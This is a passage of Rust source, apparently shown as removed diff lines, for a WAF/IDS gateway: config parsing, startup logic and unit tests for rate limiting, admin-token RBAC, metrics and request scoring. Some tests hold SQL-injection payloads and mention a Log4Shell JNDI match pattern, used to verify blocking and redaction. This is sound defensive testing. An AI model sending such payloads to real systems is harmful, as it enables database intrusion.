TAXII 2.1 collection poll

-

POST admin-authenticated JSON to /api/threat-intel/taxii/poll with objects_url (or api_root+collection_id), optional Basic/Bearer credentials, and optional added_after. Fetches TAXII objects, normalizes to STIX, and upserts threats/DNSBL. Credentials are never written to audit logs.

-
-

OpenCTI threat intelligence

-

POST admin-authenticated OpenCTI GraphQL/list export JSON to /api/threat-intel/opencti (optional query: feed_id, source, ttl_seconds). Maps IPv4/IPv6, Domain-Name, Url, file hashes, and STIX indicators into threats/DNSBL. Live OpenCTI GraphQL pull is a follow-up.

-
-

CISA KEV catalog

-

POST admin-authenticated JSON to /api/threat-intel/cisa-kev with optional feed_id, source, and ttl_seconds. Fetches the deployment-configured CISA Known Exploited Vulnerabilities catalog URL (server-side config only, not part of this request) and upserts a cve threat indicator per entry (severity escalated to critical when CISA has tied the CVE to a known ransomware campaign).

-
- -

Audit log

Loading…
-

Evidence manifest

Loading…
-

SOC event export (ndjson)

Loading…
- -

DNSBL zone

Loading…
-
-
-
- - -"##; - -/// Parse the `EVENT_LIMIT` value (already read from the environment as an -/// optional string). Absent falls back to [`AppConfig::DEFAULT_EVENT_LIMIT`]; a -/// non-integer or zero value is a hard configuration error. Kept in the library -/// (rather than the binary) so it is exercised by unit tests. -pub fn parse_event_limit(raw: Option<&str>) -> Result> { - let value = match raw { - Some(raw) => raw.parse::().map_err(|error| { - std::io::Error::new( - std::io::ErrorKind::InvalidInput, - format!("EVENT_LIMIT must be a positive integer, got {raw:?}: {error}"), - ) - })?, - None => AppConfig::DEFAULT_EVENT_LIMIT, - }; - if value == 0 { - return Err(std::io::Error::new( - std::io::ErrorKind::InvalidInput, - "EVENT_LIMIT must be greater than 0", - ) - .into()); - } - Ok(value) -} - -/// Parse a `u32` environment value (already read as an optional string), -/// returning `default` when absent and a configuration error when malformed. -pub fn parse_u32_env( - name: &str, - raw: Option<&str>, - default: u32, -) -> Result> { - match raw { - Some(raw) => Ok(raw.parse::().map_err(|error| { - std::io::Error::new( - std::io::ErrorKind::InvalidInput, - format!("{name} must be a non-negative integer, got {raw:?}: {error}"), - ) - })?), - None => Ok(default), - } -} - -/// Parse a `u64` environment value (already read as an optional string), -/// returning `default` when absent and a configuration error when malformed. -pub fn parse_u64_env( - name: &str, - raw: Option<&str>, - default: u64, -) -> Result> { - match raw { - Some(raw) => Ok(raw.parse::().map_err(|error| { - std::io::Error::new( - std::io::ErrorKind::InvalidInput, - format!("{name} must be a positive integer, got {raw:?}: {error}"), - ) - })?), - None => Ok(default), - } -} - -/// Read gateway configuration from the process environment, bind the listener, -/// and serve until `shutdown` resolves. The binary entrypoint is a thin shim -/// over this function so every branch is reachable from tests (the parse/error -/// paths in-process, the bind/serve path via an ephemeral listener and an -/// immediate shutdown). -pub async fn run_from_env( - shutdown: std::pin::Pin + Send>>, -) -> Result<(), Box> { - let bind_addr = std::env::var("BIND_ADDR").unwrap_or_else(|_| "127.0.0.1:8080".to_string()); - let listen_loopback = listen_is_loopback_only(&bind_addr); - // Secret-bearing values go through the credential registry (env/file are - // bootstrap transports only). Operational config remains env for now. - let credentials_path = std::env::var("WAF_IDS_CREDENTIALS_PATH") - .ok() - .map(PathBuf::from); - let credentials = CredentialRegistry::bootstrap_secrets( - credentials_path.as_deref(), - std::env::var("ADMIN_TOKEN").ok(), - std::env::var("ADMIN_TOKENS").ok(), - )?; - let config = AppConfig { - admin_token: credentials - .get_credential(CRED_ADMIN_TOKEN) - .map(str::to_owned), - state_path: std::env::var("WAF_IDS_STATE_PATH") - .ok() - .filter(|path| !path.trim().is_empty()) - .map(PathBuf::from), - dnsbl_origin: std::env::var("DNSBL_ORIGIN") - .unwrap_or_else(|_| AppConfig::DEFAULT_DNSBL_ORIGIN.to_string()), - event_limit: parse_event_limit(std::env::var("EVENT_LIMIT").ok().as_deref())?, - }; - let rate_limit = parse_u32_env("RATE_LIMIT", std::env::var("RATE_LIMIT").ok().as_deref(), 0)?; - let rate_limit_window = parse_u64_env( - "RATE_LIMIT_WINDOW", - std::env::var("RATE_LIMIT_WINDOW").ok().as_deref(), - 60, - )?; - let admin_tokens = match credentials.get_credential(CRED_ADMIN_TOKENS) { - Some(raw) if !raw.trim().is_empty() => parse_admin_tokens_strict(raw)?, - _ => HashMap::new(), - }; - let has_write_capable_admin = if !admin_tokens.is_empty() { - admin_tokens.iter().any(|(token, principal)| { - principal.can_write && admin_secret_supports_header_auth(token) - }) - } else { - credentials - .get_credential(CRED_ADMIN_TOKEN) - .is_some_and(admin_secret_supports_header_auth) - }; - require_write_auth_for_bind(&bind_addr, has_write_capable_admin)?; - let max_body_bytes = parse_u64_env( - "MAX_BODY_BYTES", - std::env::var("MAX_BODY_BYTES").ok().as_deref(), - 1_048_576, - )? as usize; - let listener = tokio::net::TcpListener::bind(&bind_addr).await?; - let local_addr = listener.local_addr()?; - let auth_mode = if listen_loopback && !has_write_capable_admin { - "development" - } else { - "production" - }; - let state = AppState::load(config) - .await - .map_err(|message| std::io::Error::new(std::io::ErrorKind::InvalidData, message))? - .with_rate_limit(rate_limit, rate_limit_window) - .with_admin_tokens(admin_tokens) - .with_credentials_source(credentials.source()) - .with_listen_loopback(listen_loopback) - .with_max_body_size(max_body_bytes); - println!("waf-ids-ai-soc listening on http://{local_addr} auth_mode={auth_mode}"); - // Flush so a supervising parent process (the e2e test) sees the readiness - // line immediately even though stdout is block-buffered when piped. - std::io::Write::flush(&mut std::io::stdout())?; - let served = axum::serve(listener, build_app(state)) - .with_graceful_shutdown(shutdown) - .await; - served?; - Ok(()) -} - -#[cfg(test)] -mod tests { - use super::*; - use axum::{ - body::{Body, to_bytes}, - http::{HeaderValue, Request}, - }; - use serde::de::DeserializeOwned; - use std::{ - future::IntoFuture, - io::{Read, Write}, - net::TcpListener as StdTcpListener, - thread, - time::{SystemTime, UNIX_EPOCH}, - }; - use tower::ServiceExt; - - // Serializes the environment-driven `run_from_env` tests, which mutate - // process-global environment variables. - // An async mutex so it can be held across the `run_from_env` await points - // while serializing the tests that mutate process-global environment vars. - static ENV_GUARD: std::sync::LazyLock> = - std::sync::LazyLock::new(|| tokio::sync::Mutex::new(())); - - fn clear_run_env() { - for name in [ - "BIND_ADDR", - "ADMIN_TOKEN", - "ADMIN_TOKENS", - "WAF_IDS_STATE_PATH", - "WAF_IDS_CREDENTIALS_PATH", - "DNSBL_ORIGIN", - "EVENT_LIMIT", - "RATE_LIMIT", - "RATE_LIMIT_WINDOW", - "MAX_BODY_BYTES", - ] { - unsafe { std::env::remove_var(name) }; - } - } - - #[test] - fn parse_event_limit_reads_optional_env() { - assert_eq!( - parse_event_limit(None).unwrap(), - AppConfig::DEFAULT_EVENT_LIMIT - ); - assert_eq!(parse_event_limit(Some("25")).unwrap(), 25); - assert!(parse_event_limit(Some("0")).is_err()); - assert!(parse_event_limit(Some("not-a-number")).is_err()); - } - - #[test] - fn parse_u32_env_reads_optional_env() { - assert_eq!(parse_u32_env("RATE_LIMIT", None, 7).unwrap(), 7); - assert_eq!(parse_u32_env("RATE_LIMIT", Some("120"), 0).unwrap(), 120); - assert!(parse_u32_env("RATE_LIMIT", Some("-1"), 0).is_err()); - } - - #[test] - fn parse_u64_env_reads_optional_env() { - assert_eq!(parse_u64_env("RATE_LIMIT_WINDOW", None, 60).unwrap(), 60); - assert_eq!( - parse_u64_env("RATE_LIMIT_WINDOW", Some("30"), 60).unwrap(), - 30 - ); - assert!(parse_u64_env("RATE_LIMIT_WINDOW", Some("abc"), 60).is_err()); - } - - #[test] - fn parses_and_limits_phishing_database_feeds() { - let domains = parse_phishing_domains( - "https://Phish.EXAMPLE/login\n#comment\n\nbad value\na..b.example\n203.0.113.7\nphish.example\nphish.example\n", - 2, - ); - assert_eq!(domains, vec!["phish.example".to_string()]); - - let ips = parse_phishing_ips("198.51.100.8\n#skip\nbad-ip\n198.51.100.8\n203.0.113.5", 2); - assert_eq!(ips.len(), 2); - assert_eq!(ips[0], "198.51.100.8".parse::().unwrap()); - assert_eq!(ips[1], "203.0.113.5".parse::().unwrap()); - } - - #[tokio::test] - async fn run_from_env_binds_and_serves_until_shutdown() { - let _guard = ENV_GUARD.lock().await; - clear_run_env(); - unsafe { - std::env::set_var("BIND_ADDR", "127.0.0.1:0"); - std::env::set_var("RATE_LIMIT", "5"); - std::env::set_var("RATE_LIMIT_WINDOW", "30"); - std::env::set_var("ADMIN_TOKENS", "tok:operator"); - } - // An already-ready shutdown makes the server bind, then return at once. - run_from_env(Box::pin(std::future::ready(()))) - .await - .unwrap(); - clear_run_env(); - } - - #[tokio::test] - async fn run_from_env_fail_closes_non_loopback_without_admin() { - let _guard = ENV_GUARD.lock().await; - clear_run_env(); - unsafe { - std::env::set_var("BIND_ADDR", "0.0.0.0:0"); - } - let err = run_from_env(Box::pin(std::future::ready(()))) - .await - .unwrap_err() - .to_string(); - assert!(err.contains("refusing to bind 0.0.0.0:0"), "{err}"); - clear_run_env(); - } - - #[tokio::test] - async fn run_from_env_allows_non_loopback_when_admin_token_is_set() { - let _guard = ENV_GUARD.lock().await; - clear_run_env(); - unsafe { - std::env::set_var("BIND_ADDR", "0.0.0.0:0"); - std::env::set_var("ADMIN_TOKEN", "startup-secret"); - } - run_from_env(Box::pin(std::future::ready(()))) - .await - .unwrap(); - clear_run_env(); - } - - #[tokio::test] - async fn run_from_env_fail_closes_non_loopback_with_unpresentable_admin_token() { - let _guard = ENV_GUARD.lock().await; - clear_run_env(); - unsafe { - std::env::set_var("BIND_ADDR", "0.0.0.0:0"); - std::env::set_var("ADMIN_TOKEN", "line\nbreak"); - } - let err = run_from_env(Box::pin(std::future::ready(()))) - .await - .unwrap_err() - .to_string(); - assert!( - err.contains("admin_token must contain only visible ASCII header characters"), - "{err}" - ); - clear_run_env(); - } - - #[tokio::test] - async fn run_from_env_defaults_bind_addr_when_unset() { - let _guard = ENV_GUARD.lock().await; - clear_run_env(); - // With BIND_ADDR unset the default listen address is used (exercising the - // fallback). The result is ignored because the default port may be busy - // in CI; the immediate shutdown keeps any successful bind momentary. - let _ = run_from_env(Box::pin(std::future::ready(()))).await; - clear_run_env(); - } - - #[tokio::test] - async fn run_from_env_rejects_malformed_rate_limit_window() { - let _guard = ENV_GUARD.lock().await; - clear_run_env(); - unsafe { - std::env::set_var("BIND_ADDR", "127.0.0.1:0"); - std::env::set_var("RATE_LIMIT_WINDOW", "not-a-number"); - } - // A malformed window is a hard configuration error, surfaced before bind. - assert!( - run_from_env(Box::pin(std::future::ready(()))) - .await - .is_err() - ); - clear_run_env(); - } - - #[tokio::test] - async fn run_from_env_rejects_malformed_max_body_bytes() { - let _guard = ENV_GUARD.lock().await; - clear_run_env(); - unsafe { - std::env::set_var("BIND_ADDR", "127.0.0.1:0"); - std::env::set_var("MAX_BODY_BYTES", "not-a-number"); - } - assert!( - run_from_env(Box::pin(std::future::ready(()))) - .await - .is_err() - ); - clear_run_env(); - } - - #[tokio::test] - async fn run_from_env_surfaces_state_load_failure() { - let _guard = ENV_GUARD.lock().await; - clear_run_env(); - let path = std::env::temp_dir().join(format!( - "waf_ids_bad_state_{}_{}.json", - std::process::id(), - now_unix() - )); - std::fs::write(&path, b"{ not valid json").unwrap(); - unsafe { - std::env::set_var("BIND_ADDR", "127.0.0.1:0"); - std::env::set_var("WAF_IDS_STATE_PATH", path.to_str().unwrap()); - } - // Bind succeeds, but loading corrupt persisted state maps to an error. - assert!( - run_from_env(Box::pin(std::future::ready(()))) - .await - .is_err() - ); - clear_run_env(); - std::fs::remove_file(&path).ok(); - } - - #[tokio::test] - async fn run_from_env_fail_closes_when_admin_tokens_are_readonly_only() { - let _guard = ENV_GUARD.lock().await; - clear_run_env(); - unsafe { - std::env::set_var("BIND_ADDR", "0.0.0.0:0"); - std::env::set_var("ADMIN_TOKENS", "tokR:reader:readonly"); - } - let err = run_from_env(Box::pin(std::future::ready(()))) - .await - .unwrap_err() - .to_string(); - assert!(err.contains("refusing to bind 0.0.0.0:0"), "{err}"); - clear_run_env(); - } - - #[tokio::test] - async fn run_from_env_ignores_kev_catalog_url_env_override() { - let _guard = ENV_GUARD.lock().await; - clear_run_env(); - unsafe { - std::env::set_var("BIND_ADDR", "127.0.0.1:0"); - std::env::set_var("ADMIN_TOKENS", "tok:operator"); - std::env::set_var("KEV_CATALOG_URL", "://not-a-valid-url"); - } - // KEV imports now always use the built-in runtime endpoint; an ambient - // KEV_CATALOG_URL must not influence process startup at all. - run_from_env(Box::pin(std::future::ready(()))) - .await - .unwrap(); - clear_run_env(); - } - - fn route() -> RouteConfig { - RouteConfig { - id: "api".to_string(), - path_prefix: "/api".to_string(), - upstream: "https://origin.example".to_string(), - mode: EnforcementMode::Block, - enabled: true, - block_threshold: None, - } - } - - fn enterprise_profile() -> CommercialProfile { - CommercialProfile { - tenant_id: "cwlab-enterprise".to_string(), - deployment_id: "prod-seoul-edge".to_string(), - edition: ProductEdition::Enterprise, - license_status: LicenseStatus::Active, - license_id: Some("LIC-2B-KRW-0001".to_string()), - licensee: Some("Contextual Wisdom Enterprise Buyer".to_string()), - licensed_until_unix: Some(1_829_088_000), - licensed_node_count: Some(12), - annual_contract_value_krw: Some(TARGET_SALE_VALUE_KRW), - support_contact: "soc-support@example.com".to_string(), - features: vec![ - "rust-edge-gateway".to_string(), - "tenant-license-readiness".to_string(), - "threat-feed-import".to_string(), - "dnsbl-zone-export".to_string(), - ], - } - } - - fn threat_feed_import() -> ThreatFeedImport { - ThreatFeedImport { - feed_id: "misp-seoul".to_string(), - source: "misp://soc.example".to_string(), - ttl_seconds: 600, - threats: vec![ThreatIndicator { - value: "credential_dump".to_string(), - indicator_type: "malware".to_string(), - severity: Severity::Critical, - source: "misp-seoul".to_string(), - ttl_seconds: 600, - }], - dnsbl: vec![DnsblEntry { - address: "198.51.100.23".parse().unwrap(), - code: "127.0.0.4".to_string(), - reason: "feed scanner".to_string(), - source: "misp-seoul".to_string(), - ttl_seconds: 600, - prefix_len: None, - }], - } - } - - fn phishing_database_import_request(base_url: &str) -> PhishingDatabaseImportRequest { - PhishingDatabaseImportRequest { - feed_id: "phishing-db-seoul".to_string(), - source: "https://github.com/Phishing-Database/Phishing.Database".to_string(), - domain_url: format!("{base_url}/domains"), - ip_url: format!("{base_url}/ips"), - ttl_seconds: 900, - domain_limit: 10, - ip_limit: 10, - severity: Severity::Critical, - import_domains: true, - import_ips: true, - allow_non_default_hosts: true, - } - } - - fn kev_import_request() -> KevImportRequest { - KevImportRequest { - feed_id: "cisa-kev-seoul".to_string(), - source: "feed:cisa-kev".to_string(), - ttl_seconds: 900, - } - } - - async fn app_request(app: &Router, request: Request) -> Response { - app.clone().oneshot(request).await.unwrap() - } - - fn empty_request(method: Method, uri: &str) -> Request { - Request::builder() - .method(method) - .uri(uri) - .body(Body::empty()) - .unwrap() - } - - fn authed_empty_request(method: Method, uri: &str, token: &str) -> Request { - Request::builder() - .method(method) - .uri(uri) - .header("x-admin-token", token) - .body(Body::empty()) - .unwrap() - } - - fn json_request( - method: Method, - uri: &str, - token: Option<&str>, - payload: &T, - ) -> Request { - let mut builder = Request::builder() - .method(method) - .uri(uri) - .header("content-type", "application/json"); - if let Some(token) = token { - builder = builder.header("x-admin-token", token); - } - builder - .body(Body::from(serde_json::to_vec(payload).unwrap())) - .unwrap() - } - - fn gateway_get_from_ip(uri: &str, ip: &str) -> Request { - Request::builder() - .method(Method::GET) - .uri(uri) - .header("x-forwarded-for", ip) - .body(Body::empty()) - .unwrap() - } - - #[test] - fn rate_limit_step_enforces_fixed_window() { - // limit 0 disables limiting entirely. - assert_eq!(rate_limit_step(100, 0, 999, 0, 60), (true, 0, 999)); - // First request in a fresh window is allowed and counted. - assert_eq!(rate_limit_step(100, 100, 0, 2, 60), (true, 100, 1)); - // Second allowed; third (at the limit) rejected without advancing count. - assert_eq!(rate_limit_step(100, 100, 1, 2, 60), (true, 100, 2)); - assert_eq!(rate_limit_step(100, 100, 2, 2, 60), (false, 100, 2)); - // Once the window elapses the counter resets. - assert_eq!(rate_limit_step(160, 100, 2, 2, 60), (true, 160, 1)); - } - - #[tokio::test] - async fn gateway_rate_limits_per_client_ip() { - let app = build_app(AppState::seeded(None).with_rate_limit(2, 60)); - - // Two requests from one IP pass; the third exceeds the budget. - for i in 0..2 { - let resp = app_request(&app, gateway_get_from_ip("/gateway/demo", "203.0.113.9")).await; - assert_eq!(resp.status(), StatusCode::OK, "request {i} should pass"); - } - let blocked = app_request(&app, gateway_get_from_ip("/gateway/demo", "203.0.113.9")).await; - assert_eq!(blocked.status(), StatusCode::TOO_MANY_REQUESTS); - - // A different client IP keeps its own independent budget. - let other = app_request(&app, gateway_get_from_ip("/gateway/demo", "198.51.100.7")).await; - assert_eq!(other.status(), StatusCode::OK); - } - - async fn body_text(response: Response) -> String { - let bytes = to_bytes(response.into_body(), usize::MAX).await.unwrap(); - String::from_utf8(bytes.to_vec()).unwrap() - } - - #[test] - fn prometheus_exposition_emits_typed_gauges() { - let text = prometheus_exposition(&kpi_snapshot_at(&AppData::seeded(), 0)); - // HELP/TYPE metadata plus a value line for a representative metric. - assert!(text.contains("# TYPE waf_ids_routes gauge")); - assert!(text.contains("waf_ids_routes 1")); // seed has one route - assert!(text.contains("waf_ids_dnsbl_entries 1")); // seed has one DNSBL entry - assert!(text.contains("waf_ids_security_events 0")); - assert!(text.contains("waf_ids_security_events_blocked 0")); - } - - #[tokio::test] - async fn metrics_endpoint_serves_prometheus_text() { - let app = build_app(AppState::seeded(None)); - let response = app_request(&app, empty_request(Method::GET, "/metrics")).await; - assert_eq!(response.status(), StatusCode::OK); - let content_type = response - .headers() - .get("content-type") - .and_then(|value| value.to_str().ok()) - .unwrap_or_default() - .to_string(); - assert!( - content_type.starts_with("text/plain"), - "unexpected content-type: {content_type}" - ); - let body = body_text(response).await; - assert!(body.contains("waf_ids_security_events_blocked")); - } - - #[tokio::test] - async fn signatures_endpoint_lists_redacted_catalog() { - let app = build_app(AppState::seeded(None)); - let response = app_request(&app, empty_request(Method::GET, "/api/signatures")).await; - assert_eq!(response.status(), StatusCode::OK); - let body = body_text(response).await; - // Exposes rule id, class, and severity for buyer/operator review. - assert!(body.contains("sqli-union-select")); - assert!(body.contains("\"class\":\"sqli\"")); - assert!(body.contains("\"severity\":\"critical\"")); // the JNDI/Log4Shell rule - // But never the raw match patterns (which would aid evasion). - assert!(!body.contains("union select")); - assert!(!body.contains("${jndi:")); - } - - #[test] - fn parse_admin_tokens_maps_tokens_to_actors() { - let map = parse_admin_tokens( - "tokA:alice, tokB:bob ,tokC, ,:noname, tokD:, tokR:reader:readonly, tokW:writer:write", - ); - assert_eq!(map.get("tokA").map(|p| p.actor.as_str()), Some("alice")); - assert!(map.get("tokA").is_some_and(|p| p.can_write)); - assert_eq!(map.get("tokB").map(|p| p.actor.as_str()), Some("bob")); - // No explicit actor, or an empty actor, is labelled "admin". - assert_eq!(map.get("tokC").map(|p| p.actor.as_str()), Some("admin")); - assert_eq!(map.get("tokD").map(|p| p.actor.as_str()), Some("admin")); - assert_eq!(map.get("tokR").map(|p| p.actor.as_str()), Some("reader")); - assert!(map.get("tokR").is_some_and(|p| !p.can_write)); - assert_eq!(map.get("tokW").map(|p| p.actor.as_str()), Some("writer")); - assert!(map.get("tokW").is_some_and(|p| p.can_write)); - // Blank items and blank tokens (":noname") are ignored. - assert_eq!(map.len(), 6); - } - - #[test] - fn rbac_tokens_authorize_and_name_the_actor() { - let tokens = parse_admin_tokens("tokA:alice,tokR:reader:readonly"); - let state = AppState::seeded(None).with_admin_tokens(tokens); - - let mut valid = HeaderMap::new(); - valid.insert("x-admin-token", "tokA".parse().unwrap()); - assert!(admin_authenticated(&state, &valid)); - assert!(admin_authorized(&state, &valid)); - assert_eq!(audit_actor(&state, &valid), "alice"); - - // Readonly authenticates but cannot write. - let mut readonly = HeaderMap::new(); - readonly.insert("x-admin-token", "tokR".parse().unwrap()); - assert!(admin_authenticated(&state, &readonly)); - assert!(!admin_authorized(&state, &readonly)); - assert_eq!(audit_actor(&state, &readonly), "reader"); - - // A token not in the RBAC set is rejected, and never used as the actor. - let mut wrong = HeaderMap::new(); - wrong.insert("x-admin-token", "nope".parse().unwrap()); - assert!(!admin_authorized(&state, &wrong)); - assert!(!admin_authenticated(&state, &wrong)); - assert_eq!(audit_actor(&state, &wrong), "admin-token"); - - // Missing token header is unauthorized under RBAC. - assert!(!admin_authorized(&state, &HeaderMap::new())); - assert!(!admin_authenticated(&state, &HeaderMap::new())); - - // Without a matching RBAC token, audit_actor honours X-Admin-Actor. - let mut named = HeaderMap::new(); - named.insert("x-admin-actor", "carol".parse().unwrap()); - assert_eq!(audit_actor(&state, &named), "carol"); - } - - #[test] - fn reject_management_write_distinguishes_authentication_from_authorization() { - let state = AppState::seeded(None) - .with_admin_tokens(parse_admin_tokens("write:ops:admin,read:auditor:readonly")); - - let unauthenticated = reject_management_write(&state, &HeaderMap::new()).unwrap(); - assert_eq!(unauthenticated.status(), StatusCode::UNAUTHORIZED); - - let mut readonly = HeaderMap::new(); - readonly.insert("x-admin-token", "read".parse().unwrap()); - let unauthorized = reject_management_write(&state, &readonly).unwrap(); - assert_eq!(unauthorized.status(), StatusCode::FORBIDDEN); - let runtime = tokio::runtime::Builder::new_current_thread() - .enable_all() - .build() - .unwrap(); - let body = runtime.block_on(body_text(unauthorized)); - assert!( - body.contains("not authorized for management writes"), - "{body}" - ); - - let mut writer = HeaderMap::new(); - writer.insert("x-admin-token", "write".parse().unwrap()); - assert!(reject_management_write(&state, &writer).is_none()); - } - - #[tokio::test] - async fn readonly_token_can_read_audit_logs_but_cannot_write() { - let tokens = parse_admin_tokens("write:ops:admin,read:auditor:readonly"); - let app = build_app(AppState::seeded(None).with_admin_tokens(tokens)); - - let denied = app_request( - &app, - json_request( - Method::POST, - "/api/routes", - Some("read"), - &serde_json::json!({ - "id": "ro-block", - "path_prefix": "/ro", - "upstream": "mock://x", - "mode": "monitor", - "enabled": true - }), - ), - ) - .await; - assert_eq!(denied.status(), StatusCode::FORBIDDEN); - - let created = app_request( - &app, - json_request( - Method::POST, - "/api/routes", - Some("write"), - &serde_json::json!({ - "id": "ro-block", - "path_prefix": "/ro", - "upstream": "mock://x", - "mode": "monitor", - "enabled": true - }), - ), - ) - .await; - assert_eq!(created.status(), StatusCode::CREATED); - - let unauth = app_request(&app, empty_request(Method::GET, "/api/audit-logs")).await; - assert_eq!(unauth.status(), StatusCode::UNAUTHORIZED); - - let logs: Vec = json_body( - app_request( - &app, - authed_empty_request(Method::GET, "/api/audit-logs", "read"), - ) - .await, - ) - .await; - assert!(logs.iter().any(|e| e.action == "upsert_route")); - assert!(!serde_json::to_string(&logs).unwrap().contains("write")); - assert!(!serde_json::to_string(&logs).unwrap().contains("read")); - } - - #[test] - fn security_event_log_line_is_single_line_json() { - let event = SecurityEvent { - id: 7, - timestamp_unix: 1_700_000_000, - client_ip: Some("203.0.113.5".parse().unwrap()), - route_id: Some("app".to_string()), - action: "blocked".to_string(), - reason: "builtin sqli rule sqli-union-select".to_string(), - score: 100, - path: "/app".to_string(), - }; - let line = security_event_log_line(&event); - assert!(!line.contains('\n'), "log line must be single-line"); - // Round-trips as JSON with the expected fields. - let parsed: SecurityEvent = serde_json::from_str(&line).unwrap(); - assert_eq!(parsed, event); - assert!(line.contains("\"action\":\"blocked\"")); - assert!(line.contains("\"score\":100")); - } - - async fn json_body(response: Response) -> T { - serde_json::from_str(&body_text(response).await).unwrap() - } - - #[tokio::test] - async fn evaluate_endpoint_scores_payloads_offline() { - let app = build_app(AppState::seeded(None)); - let sqli = json_request( - Method::POST, - "/api/evaluate", - None, - &serde_json::json!({"path": "/products", "query": "id=1 UNION SELECT password"}), - ); - let response = app_request(&app, sqli).await; - assert_eq!(response.status(), StatusCode::OK); - let body: serde_json::Value = json_body(response).await; - assert!(body["score"].as_u64().unwrap() >= u64::from(BLOCK_SCORE)); - assert_eq!(body["would_block"], true); - assert!(body["reason"].as_str().unwrap().contains("sqli")); - let body_req = json_request( - Method::POST, - "/api/evaluate", - None, - &serde_json::json!({"path": "/upload", "body": "x=1 union select 1"}), - ); - let body: serde_json::Value = json_body(app_request(&app, body_req).await).await; - assert_eq!(body["would_block"], true); - let benign = json_request( - Method::POST, - "/api/evaluate", - None, - &serde_json::json!({"path": "/account", "query": "tab=settings"}), - ); - let body: serde_json::Value = json_body(app_request(&app, benign).await).await; - assert_eq!(body["score"], 0); - assert_eq!(body["would_block"], false); - } - - #[tokio::test] - async fn version_and_readiness_endpoints() { - let app = build_app(AppState::seeded(None)); - let response = app_request(&app, empty_request(Method::GET, "/api/version")).await; - assert_eq!(response.status(), StatusCode::OK); - let body: serde_json::Value = json_body(response).await; - assert_eq!(body["name"], env!("CARGO_PKG_NAME")); - assert!(!body["version"].as_str().unwrap().is_empty()); - let response = app_request(&app, empty_request(Method::GET, "/readyz")).await; - assert_eq!(response.status(), StatusCode::OK); - let body: serde_json::Value = json_body(response).await; - assert_eq!(body["ready"], true); - let disable = json_request( - Method::POST, - "/api/routes", - None, - &serde_json::json!({"id": "demo", "path_prefix": "/demo", "upstream": "mock://x", "mode": "monitor", "enabled": false}), - ); - assert!(app_request(&app, disable).await.status().is_success()); - let response = app_request(&app, empty_request(Method::GET, "/readyz")).await; - assert_eq!(response.status(), StatusCode::SERVICE_UNAVAILABLE); - let body: serde_json::Value = json_body(response).await; - assert_eq!(body["ready"], false); - } - - #[tokio::test] - async fn events_endpoint_filters_by_action_and_limit() { - let app = build_app(AppState::seeded(None)); - let route = json_request( - Method::POST, - "/api/routes", - None, - &serde_json::json!({"id": "app", "path_prefix": "/app", "upstream": "mock://x", "mode": "block", "enabled": true}), - ); - assert!(app_request(&app, route).await.status().is_success()); - app_request( - &app, - gateway_get_from_ip("/gateway/app?q=1%20UNION%20SELECT%201", "203.0.113.9"), - ) - .await; - let monitor = app_request( - &app, - gateway_get_from_ip("/gateway/demo?q=hi", "203.0.113.9"), - ) - .await; - assert_eq!( - monitor.status(), - StatusCode::OK, - "monitor mode must continue traffic when Coraza is unavailable while retaining degraded evidence" - ); - let all: Vec = - json_body(app_request(&app, empty_request(Method::GET, "/api/events")).await).await; - assert_eq!(all.len(), 2); - let blocked: Vec = json_body( - app_request( - &app, - empty_request(Method::GET, "/api/events?action=blocked"), - ) - .await, - ) - .await; - assert_eq!(blocked.len(), 1); - assert_eq!(blocked[0]["action"], "blocked"); - let recent: Vec = - json_body(app_request(&app, empty_request(Method::GET, "/api/events?limit=1")).await) - .await; - assert_eq!(recent.len(), 1); - assert_eq!( - recent[0]["action"], "engine_unavailable", - "an unconfigured proven WAF is degraded security evidence even when monitor mode continues the request" - ); - } - - #[tokio::test] - async fn per_route_block_threshold_overrides_global() { - let app = build_app(AppState::seeded(None)); - let indicator = json_request( - Method::POST, - "/api/threats", - None, - &serde_json::json!({"value": "probe-xyz", "indicator_type": "test", "severity": "low", "source": "t", "ttl_seconds": 60}), - ); - assert!(app_request(&app, indicator).await.status().is_success()); - let low = json_request( - Method::POST, - "/api/routes", - None, - &serde_json::json!({"id": "low", "path_prefix": "/low", "upstream": "mock://x", "mode": "block", "enabled": true, "block_threshold": 5}), - ); - assert!(app_request(&app, low).await.status().is_success()); - let hi = json_request( - Method::POST, - "/api/routes", - None, - &serde_json::json!({"id": "hi", "path_prefix": "/hi", "upstream": "mock://x", "mode": "block", "enabled": true}), - ); - assert!(app_request(&app, hi).await.status().is_success()); - let blocked = - app_request(&app, empty_request(Method::GET, "/gateway/low?q=probe-xyz")).await; - assert_eq!(blocked.status(), StatusCode::FORBIDDEN); - let allowed = - app_request(&app, empty_request(Method::GET, "/gateway/hi?q=probe-xyz")).await; - assert_ne!(allowed.status(), StatusCode::FORBIDDEN); - let bad = json_request( - Method::POST, - "/api/routes", - None, - &serde_json::json!({"id": "z", "path_prefix": "/z", "upstream": "mock://x", "mode": "block", "enabled": true, "block_threshold": 0}), - ); - assert_eq!( - app_request(&app, bad).await.status(), - StatusCode::BAD_REQUEST - ); - } - - #[tokio::test] - async fn oversized_request_body_is_rejected() { - let app = build_app(AppState::seeded(None).with_max_body_size(16)); - let big = Request::builder() - .method(Method::POST) - .uri("/gateway/demo") - .body(Body::from("x".repeat(64))) - .unwrap(); - assert_eq!( - app_request(&app, big).await.status(), - StatusCode::PAYLOAD_TOO_LARGE - ); - let small = Request::builder() - .method(Method::POST) - .uri("/gateway/demo") - .body(Body::from("x")) - .unwrap(); - assert_ne!( - app_request(&app, small).await.status(), - StatusCode::PAYLOAD_TOO_LARGE - ); - } - - #[tokio::test] - async fn admin_console_serves_designed_ui() { - let app = build_app(AppState::seeded(None)); - let html = body_text(app_request(&app, empty_request(Method::GET, "/")).await).await; - - // Foundation design tokens are source-true (must match Figma variables). - assert!(html.contains("--brand:#14213d"), "brand token missing"); - assert!(html.contains("--canvas:#f7f8fa"), "canvas token missing"); - // Designed components render, not the old raw-JSON
 dumps.
-        assert!(
-            html.contains("id=\"routesBody\""),
-            "routes table container missing"
-        );
-        assert!(
-            html.contains("id=\"threatsBody\""),
-            "threats table container missing"
-        );
-        // Create forms are wired to the real API endpoints.
-        assert!(
-            html.contains("data-url=\"/api/routes\""),
-            "add-route form missing"
-        );
-        assert!(
-            html.contains("data-url=\"/api/threats\""),
-            "add-threat form missing"
-        );
-        // Accessibility affordances present.
-        assert!(
-            html.contains("id=\"hcToggle\""),
-            "high-contrast toggle missing"
-        );
-        assert!(html.contains("Skip to content"), "skip link missing");
-        assert!(
-            html.contains(":focus-visible"),
-            "focus-visible styling missing"
-        );
-    }
-
-    #[test]
-    fn reverses_ipv4_for_dnsbl_zone_names() {
-        assert_eq!(reverse_ipv4_for_dnsbl([192, 0, 2, 10]), "10.2.0.192");
